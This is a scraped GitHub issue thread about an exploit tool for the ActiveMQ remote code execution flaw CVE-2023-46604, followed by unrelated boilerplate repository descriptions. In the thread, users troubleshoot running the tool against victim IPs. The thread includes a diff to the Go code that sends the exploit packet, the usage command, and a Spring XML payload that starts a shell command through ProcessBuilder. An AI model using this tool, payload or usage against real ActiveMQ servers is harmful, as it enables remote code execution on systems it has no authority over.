Student, NJUPT
Web Security, X1cT34m & Nu1L Team & Straw Hat
Blog: exp10it.io
Email: [email protected]
My CVE List: SECURITY.md
ActiveMQ RCE (CVE-2023-46604) 漏洞利用工具
Student, NJUPT
Web Security, X1cT34m & Nu1L Team & Straw Hat
Blog: exp10it.io
Email: [email protected]
My CVE List: SECURITY.md
Hi X1r0z, thanks for feedback. I change the poc.xml file as like only for "meta-calculator" to run on Debian but I did not get calculator app on the screen. So what is the problem you think:
mate-calculator
on repo, I see "./ActiveMQ-RCE -i 127.0.0.1 -u http://127.0.0.1:8000/poc.xml" parameters for running the poc code but when I tried to it, it does not work. Because I see you use go lang. So how can I use it? ActiveMQ-RCE file does not exist in your repo location so, it doesn't work. Also when I try to run go file, I had this results ("tmp/go-build2874341474/b001/exe/main" doesn't exist on directory of tmp file location, also):
┌──(kali㉿kali)-[~/Desktop/ActiveMQ-RCE-main]
└─$ sudo go run main.go
_ _ _ __ __ ___ ____ ____ _____
/ \ | |() | / |/ _ \ | _ \ / | ____|
/ _ \ / | | \ \ / / _ \ |/| | | | || |) | | | _|
/ ___ \ (| || |\ V / __/ | | | || || _ <| || |_
// ____|_|| _/ ___|| ||__\ || _\___|_____|
Usage of /tmp/go-build2874341474/b001/exe/main:
-i string
ActiveMQ Server IP or Host
-p string
ActiveMQ Server Port (default "8161")
-u string
Spring XML Url
Getting this error:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2
Sorry, but I can't push a PR/create branch.
diff --git a/main.go b/main.go
index 686d0c7..d6a944f 100644
--- a/main.go
+++ b/main.go
@@ -1,7 +1,6 @@
package main
import (
- "crypto/tls"
"encoding/hex"
"flag"
"fmt"
@@ -12,16 +11,14 @@ import (
func main() {
var (
- ip string
- port string
- url string
- useTLS bool
+ ip string
+ port string
+ url string
)
flag.StringVar(&ip, "i", "", "ActiveMQ Server IP or Host")
flag.StringVar(&port, "p", "61616", "ActiveMQ Server Port")
flag.StringVar(&url, "u", "", "Spring XML Url")
- flag.BoolVar(&useTLS, "t", false, "Use TLS for connection")
flag.Parse()
banner()
@@ -44,23 +41,7 @@ func main() {
fmt.Println()
fmt.Println("[*] Sending packet:", payload)
- var conn net.Conn
- var err error
-
- if useTLS {
- conf := &tls.Config{
- InsecureSkipVerify: true, // You may want to set this to false in production
- }
- conn, err = tls.Dial("tcp", ip+":"+port, conf)
- } else {
- conn, err = net.Dial("tcp", ip+":"+port)
- }
-
- if err != nil {
- fmt.Println("Error connecting:", err)
- return
- }
-
+ conn, _ := net.Dial("tcp", ip+":"+port)
conn.Write(data)
conn.Close()
}
Hello,
I am using kali, and I run a server on port 5555, and then I tried to run your code using the command below:
/ActiveMQ-RCE -i [victim IP] -u http://[kali server IP]:5555/poc.xml
and in the poc.xml I wrote the following:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>sh/value>
<value>-c</value>
<value>echo 'Hello, World!' > hello.txt</value>
</list>
</constructor-arg>
</bean>
</beans>
I run the command then nothing happens, am I doing something wrong?
To notet that on victim server I confirmed that port 61616 is running.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.